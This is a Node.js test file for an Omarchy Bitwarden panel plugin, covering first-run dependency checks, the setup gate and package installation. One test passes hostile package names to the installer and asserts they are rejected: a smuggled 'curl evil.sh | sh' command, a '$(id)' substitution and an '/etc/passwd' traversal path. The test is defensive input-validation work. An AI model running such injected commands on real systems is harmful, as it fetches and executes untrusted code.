Files
asepharyana 1cdb82a76f Sync config from arch
- hypr/apps.lua
- hypr/autostart.lua
- hypr/envs.lua
- hypr/hyprland.lua
- hypr/hyprsunset.conf
- hypr/input.lua
- hypr/looknfeel.lua
- hypr/omasettings.lua
- hypr/xdph.conf
- omarchy/branding/about.txt
- omarchy/branding/screensaver.txt
- omarchy/extensions/omarchy-menu.jsonc
- omarchy/hooks/battery-low.d/play-warning-sound.sample
- omarchy/hooks/font-set.d/show-font-notification.sample
- omarchy/hooks/post-boot.d/weather.sample
- omarchy/hooks/post-update.d/install-voxtype.hook
- omarchy/hooks/post-update.d/setup-agent.hook
- omarchy/hooks/post-update.d/setup-fingerprint.hook
- omarchy/hooks/post-update.d/show-update-notification.sample
- omarchy/hooks/pre-refresh-pacman.d/add-custom-repo.sample
- omarchy/hooks/theme-set.d/show-theme-notification.sample
- omarchy/shell.json
- omarchy/shell.toml
- omarchy/theme.name
- omarchy/themes/azure-glow/README.md
- omarchy/themes/azure-glow/alacritty.toml
- omarchy/themes/azure-glow/btop.theme
- omarchy/themes/azure-glow/hyprland.conf
- omarchy/themes/azure-glow/hyprlock.conf
- omarchy/themes/azure-glow/icons.theme
- … 269 more
2026-09-23 15:19:12 +07:00

267 lines
12 KiB
JavaScript

#!/usr/bin/env node
// Tests for the first run: the state a machine is in the moment
// `omarchy plugin add ... --enable` finishes and before `bw` exists.
//
// The plugin is installed and enabled before the CLI it drives necessarily
// does -- `omarchy plugin add` installs the plugin and nothing else -- so the
// panel has to open on the setup screen, install what is missing from inside
// itself, and pick the vault up on its own once the install lands. None of
// that is reachable on a developer machine where everything is already there,
// which is exactly why it is pinned here.
//
// node tests/first-run.test.js
const fs = require("fs")
const path = require("path")
const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8")
const Model = {}
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
.replace(/^\.pragma library\s*$/m, "") + `
exports.parseDependencies = parseDependencies
exports.missingRequired = missingRequired
exports.setupGateActive = setupGateActive
exports.dependencyProbeOutcome = dependencyProbeOutcome
exports.missingPackages = missingPackages
exports.installPackagesCommand = installPackagesCommand
exports.fingerprintSetupCommand = fingerprintSetupCommand
exports.applicableDependencies = applicableDependencies
exports.dependencyCheckCommand = dependencyCheckCommand
exports.DEPENDENCIES = DEPENDENCIES
`)(Model)
let pass = 0
const failures = []
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
const bodyOf = name => {
const start = panelSrc.indexOf(`function ${name}(`)
if (start < 0) return ""
let depth = 0
for (let i = panelSrc.indexOf("{", start); i < panelSrc.length; i++) {
if (panelSrc[i] === "{") depth++
else if (panelSrc[i] === "}" && --depth === 0) return panelSrc.slice(start, i + 1)
}
return ""
}
// A machine that has just installed the plugin and nothing else. The probe
// still answers for tools that are no longer on the wizard's list -- Omarchy
// ships those -- and parseDependencies must ignore what it was not asked
// about rather than inventing rows for it.
const FRESH = Model.parseDependencies(
"bw=0\nbw_version=\njq=0\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=0\nfingerprint_ready=0\nomarchy=1")
// The same machine after one trip through the setup screen's install button.
const INSTALLED = Model.parseDependencies(
"bw=1\nbw_version=2025.1.2\njq=1\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=1\nfingerprint_ready=0\nomarchy=1")
// Required tools only. The optional ones stay absent, and must not gate.
const MINIMAL = Model.parseDependencies(
"bw=1\nbw_version=2025.1.2\njq=1\nwlcopy=1\nhyprctl=0\nsecrettool=0\nfprintd=0\nfingerprint_ready=0\nomarchy=1")
// Omarchy's own base packages. The wizard must never ask for one of these: a
// first-run screen whose rows are green on every machine that can run this
// plugin buries the single row that is not.
const OMARCHY_BASE = ["wl-clipboard", "libsecret", "hyprland", "glib2", "systemd", "openssl"]
// --- the gate ---------------------------------------------------------------
// Nothing is decided before the probe has actually run: a panel that gated on
// its own empty starting state would flash the setup screen on every launch.
check("gate: nothing is decided before the probe reports",
Model.setupGateActive(FRESH, false, false) === false,
"an unchecked dependency set closed the gate")
check("gate: a missing required tool closes the gate",
Model.setupGateActive(FRESH, true, false) === true,
"bw absent did not close the gate")
check("gate: the user can always step past it",
Model.setupGateActive(FRESH, true, true) === false,
"dismissing setup left the gate closed")
check("gate: missing optional tools do not close it",
Model.setupGateActive(MINIMAL, true, false) === false,
`gated on optional tools: [${Model.missingRequired(MINIMAL).map(d => d.key)}]`)
check("gate: opens once everything is installed",
Model.setupGateActive(INSTALLED, true, false) === false,
"a fully installed machine was still gated")
// --- the first-run sequence -------------------------------------------------
// Walked in order, because the bug this guards against is an ordering one: the
// panel probing `bw` before it knows whether `bw` exists lands the user on a
// login form that cannot succeed.
let probeStarted = false
let wasGated = false
const step = (deps, dismissed) => {
if (Model.missingRequired(deps).length > 0) wasGated = true
const outcome = Model.dependencyProbeOutcome(deps, dismissed, probeStarted, wasGated)
if (outcome === "probe") {
probeStarted = true
wasGated = false
}
return outcome
}
check("first run: opens on setup rather than probing the vault",
step(FRESH, false) === "setup",
"a fresh machine did not land on setup")
check("first run: refreshStatus waits for the dependency answer before invoking bw",
/if\s*\(!depsChecked\)\s*\{[\s\S]{0,100}checkDependencies\(\)[\s\S]{0,40}return/.test(bodyOf("refreshStatus")),
bodyOf("refreshStatus"))
check("first run: still setup while the install runs",
step(FRESH, false) === "setup",
"a re-probe with bw still absent moved off setup")
check("first run: the install landing sends it to the vault unprompted",
step(INSTALLED, false) === "probe",
"bw appearing did not trigger the status probe")
check("first run: settled, so a routine re-probe asks bw nothing",
step(INSTALLED, false) === "idle",
"a routine dependency check re-probed the vault")
// --- an already-set-up machine ----------------------------------------------
probeStarted = false
wasGated = false
check("normal launch: the first probe goes straight to the vault",
step(INSTALLED, false) === "probe",
"a machine with everything installed did not probe on launch")
check("normal launch: later probes stay quiet",
step(INSTALLED, false) === "idle",
"a settled machine kept re-probing")
// --- carrying on without the CLI --------------------------------------------
// "Continue anyway" is the panel's own escape hatch. Having taken it, the user
// must not be dragged back to setup, and the panel must not spend a `bw`
// round trip on every dependency check it happens to run.
probeStarted = true
wasGated = false
check("dismissed: a missing tool no longer forces setup",
step(FRESH, true) === "idle",
"setup reappeared after being dismissed")
check("dismissed: still no repeated vault probes while the tool is missing",
step(FRESH, true) === "idle",
"a dismissed gate probed the vault on every dependency check")
check("dismissed: an install landing later is still picked up",
step(INSTALLED, true) === "probe",
"installing after dismissing setup never reached the vault")
// --- what the install button asks for ---------------------------------------
const fresh = Model.missingPackages(FRESH)
check("install: asks for the tools it can install, and only those",
fresh.join(" ") === "bitwarden-cli jq",
`got [${fresh}]`)
check("install: never asks for a package Omarchy already ships",
Model.DEPENDENCIES.every(d => OMARCHY_BASE.indexOf(d.pkg) === -1),
`wizard lists [${Model.DEPENDENCIES.map(d => d.pkg).filter(p => OMARCHY_BASE.indexOf(p) !== -1)}]`)
check("install: the one thing an Omarchy machine can genuinely lack is still required",
Model.DEPENDENCIES.some(d => d.pkg === "bitwarden-cli" && d.required),
`wizard lists [${Model.DEPENDENCIES.map(d => d.pkg)}]`)
check("install: asks for nothing when nothing is missing",
Model.missingPackages(INSTALLED).length === 0,
`got [${Model.missingPackages(INSTALLED)}]`)
check("install: a package shared by two tools is only asked for once",
new Set(fresh).size === fresh.length,
`got [${fresh}]`)
// Omarchy already owns "install these packages where the user can watch it":
// a floating, centred, themed terminal with the logo, the pacman output and a
// keypress to close. Rolling our own terminal invocation would have to pick a
// terminal, invent the wait-for-keypress, and still look like nothing else on
// the system.
const cmd = Model.installPackagesCommand(fresh, "Bitwarden CLI")
check("install: goes through Omarchy's floating-terminal installer",
cmd.slice(0, 3).join(" ") === "omarchy install app",
cmd.join(" "))
check("install: names what is being installed, and asks for exactly the packages",
cmd[3] === "Bitwarden CLI" && cmd[4] === fresh.join(" "),
cmd.join(" "))
check("install: no shell of our own to quote for",
cmd.every(a => typeof a === "string") && cmd.indexOf("-c") === -1,
cmd.join(" "))
// omarchy-install-app expands the package list unquoted -- that is how it
// takes more than one package -- so the guard has to be on this side.
check("install: refuses anything that is not a plain package name",
Model.installPackagesCommand(["bitwarden-cli; curl evil.sh | sh"]) === null
&& Model.installPackagesCommand(["$(id)"]) === null
&& Model.installPackagesCommand(["../../etc/passwd"]) === null,
"a crafted package name produced a command")
// --- fingerprint belongs to Omarchy -----------------------------------------
// `omarchy setup security fingerprint` detects the reader, installs
// libfprint/fprintd/usbutils, enrols a finger, verifies it, and only then
// writes /etc/pam.d/omarchy-lock-fingerprint -- which is the file this
// plugin's own readiness check looks for. A bare `pkg add fprintd` produces
// none of that, so the row must never take that door.
check("fingerprint: the row is a setup row, not a package row",
Model.DEPENDENCIES.find(d => d.key === "fprintd").setup === true,
"fprintd is still presented as an ordinary package install")
check("fingerprint: never reaches the package installer",
Model.missingPackages(Model.parseDependencies(
"bw=1\nbw_version=2025.1.2\njq=1\nfprintd=0\nfingerprint_ready=0\nfingerprint_hw=1\nomarchy=1")).length === 0,
"fprintd was handed to omarchy install app")
const fp = Model.fingerprintSetupCommand()
check("fingerprint: runs Omarchy's own setup in the floating terminal",
fp.join(" ") === "omarchy launch floating terminal with presentation omarchy setup security fingerprint",
fp.join(" "))
// --- hardware the machine does not have -------------------------------------
const NO_READER = Model.parseDependencies(
"bw=1\nbw_version=2025.1.2\njq=1\nfprintd=0\nfingerprint_ready=0\nfingerprint_hw=0\nomarchy=1")
const WITH_READER = Model.parseDependencies(
"bw=1\nbw_version=2025.1.2\njq=1\nfprintd=0\nfingerprint_ready=0\nfingerprint_hw=1\nomarchy=1")
check("reader: a desktop with no reader is not shown a fingerprint row",
Model.applicableDependencies(NO_READER).every(d => d.key !== "fprintd"),
`rows: [${Model.applicableDependencies(NO_READER).map(d => d.key)}]`)
check("reader: a laptop with one is",
Model.applicableDependencies(WITH_READER).some(d => d.key === "fprintd"),
`rows: [${Model.applicableDependencies(WITH_READER).map(d => d.key)}]`)
check("reader: the row is still in items either way, for the settings screen",
NO_READER.items.some(d => d.key === "fprintd"),
"dropping the row from items would break settingBlocked()")
check("reader: no reader never gates the panel",
Model.setupGateActive(NO_READER, true, false) === false,
"a machine with no fingerprint reader was held on setup")
// Detection comes from Omarchy's own sysfs scan, which answers before fprintd
// or usbutils are installed -- which is precisely when the wizard has to
// decide whether to draw the row.
check("reader: detection uses omarchy-hw-fingerprint, in the same one probe",
Model.dependencyCheckCommand()[2].includes("omarchy-hw-fingerprint")
&& Model.dependencyCheckCommand().length === 3,
Model.dependencyCheckCommand()[2])
check("install: nothing to install produces no command at all",
Model.installPackagesCommand(Model.missingPackages(INSTALLED)) === null,
"an empty package list still produced a command")
// The setup screen's copy is the first thing a new user reads, and it is the
// only place the plugin explains that it does not bundle these tools. A
// requirement described as fatal reads as "you installed this too early".
const bw = Model.DEPENDENCIES.find(d => d.key === "bw")
check("copy: the required tools are presented as installable, not as a wall",
bw.required === true && !/nothing works/i.test(bw.purpose),
bw.purpose)
console.log(`${pass} passed, ${failures.length} failed`)
if (failures.length) {
console.log("\n" + failures.map(f => ` FAIL ${f}`).join("\n"))
process.exit(1)
}